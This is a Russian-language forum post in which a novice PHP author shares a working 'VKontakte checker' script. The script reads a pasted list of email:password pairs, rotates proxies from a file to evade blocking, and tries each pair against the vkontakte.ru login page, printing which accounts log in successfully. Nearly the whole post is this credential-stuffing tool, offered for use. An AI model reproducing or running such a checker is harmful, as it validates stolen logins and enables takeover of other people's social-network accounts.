
22.03.2010, 22:33
|
|
Участник форума
Регистрация: 01.03.2009
Сообщений: 121
С нами:
9050197
Репутация:
38
|
|
Вроде чекает норм, для меня для начинающего в области php сойдёт
Всем спасибо за помощь!
PHP код:
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN'
'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns='http://www.w3.org/1999/xhtml'>
<head>
<title>чекер вконтакте</title>
<style type='text/css' media='all'>
body,html {
background:#004243;
font-family: verdana;
font-size:10px;
color:#2D8AB9;
}
textarea {
background:#008A8C;
font-family: verdana;
font-size:10px;
color: #FFFFFF;
}
#ok {
color: #00A437;
font-family: Verdana;
font-size: 10px;
background-color: #111;
border-color: #002E3B;
cursor:pointer;
}
</style>
</head>
<body>
<form method="post" />
<textarea cols="100" rows="25" name="akki-list">
</textarea>
<br /><br />
<input type="submit" value=" Send " id='ok' />
</form>
<form action="http://best.vg/" method="post" />
<input type="submit" value=" © " id='ok' />
</form>
<?php
set_time_limit(0);
$cookies = 'cookies.txt';
if(isset($_POST['akki-list']))
{
function curl($url,$post)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.6');
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_PROXY, $proxy.':'.$port);
//curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
foreach(explode("\n",$_POST['akki-list']) as $line)
{
$pos = strpos($line, ':');
$email = substr($line, 0, $pos);
$pos2 = strpos($line, ':');
$pass = substr($line, $pos2);
$pass = @ereg_replace(":", "", $pass);
$file = file('proxy.txt');
$prox = explode(':', $file[0]);
$proxy = $prox['0'];
$port = $prox['1'];
$newp = str_replace($proxy.':'.$port, '', file_get_contents('proxy.txt'));
if($prf = fopen('proxy.txt', 'w+'))
{
fwrite($prf, $newp);
fclose($prf);
$result = curl('http://vkontakte.ru/','');
if(strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
{
$result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
}
if (preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
echo "<font color=green>$email:$pass - ok - $proxy:$port</font><br />";
else
echo "<font color=red>$email:$pass - bad - $proxy:$port</font><br />";
}
else {echo 'хз';}
}
}
?>
|
|
|